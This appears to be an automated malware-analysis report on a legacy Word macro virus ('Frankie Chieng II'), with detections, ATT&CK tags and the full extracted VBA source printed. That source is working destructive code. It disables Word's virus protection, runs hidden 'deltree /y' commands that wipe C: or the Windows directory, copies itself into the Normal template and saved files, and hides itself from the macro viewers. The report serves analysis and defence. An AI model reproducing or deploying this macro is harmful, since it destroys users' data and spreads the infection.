MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1485 Data Destruction
The sample is a legacy Word document containing a VBA macro with 'AutoExec' and 'AutoClose' routines. The 'AutoExec' routine displays a series of message boxes to the user, and based on the user's selection, it executes the 'deltree' command to delete files and directories. This indicates a data destruction attack. The presence of legacy macro virus markers and the use of 'deltree' suggest an older, but still functional, destructive malware.
Heuristics 6
-
ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mbug-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3762 bytes |
SHA-256: 5d79c63a389fbc96c0d6f50f5e2335b40c8b02032b5e9bf2dbe1f8d75ab863dd |
|||
|
Detection
ClamAV:
Win.Trojan.DelTree-10
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{23D86DB7-EEB6-11D1-B129-444553540000}{23D86DA8-EEB6-11D1-B129-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "frank"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Day(Now()) = "1" Or Day(Now()) = "3" Or Day(Now()) = "15" Or Day(Now()) = "21" Or Day(Now()) = "23" Or Day(Now()) = "27" Or Day(Now()) = "30" Or Day(Now()) = "20" Or Day(Now()) = "8" Then
MsgBox "Frankie chieng II Mvirus", vbInformation, "Attention"
With Assistant.NewBalloon
.Animation = msoAnimationGetAttentionMajor
.Icon = msoIconAlert
.Button = False
.Text = "Choose the section:"
.Heading = "FrankieChieng II"
.Labels(1).Text = "He would eat your *.Doc file."
.Labels(2).Text = "He kill your file."
.Labels(3).Text = "He attack all PC system."
x = .Show
End With
If x = 1 Then
Shell "deltree /y c:\*.*", vbHide
MsgBox "Yeah eating some filez", vbQuestion, "Frankie chieng virus"
ElseIf x = 2 Then
Shell "deltree /y c:\windows\*.*", vbHide
MsgBox "Damn your PC in a while", vbExclamation, "Frankie chieng virus"
ElseIf x = 3 Then
Shell "deltree /y c:\windows", vbHide
MsgBox "System attack!", vbSystemModal, "Frankie chieng virus"
End If
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0) = "frank" Then
frankInstalled = -1
End If
Next i
If Not frankInstalled Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="frank", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
End If
MsgBox "", vbCritical, "Frankie Chieng II"
ErrorAC:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="frank", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
UserForm1.Show
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
UserForm1.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
UserForm1.Show
ErrorVVBC:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.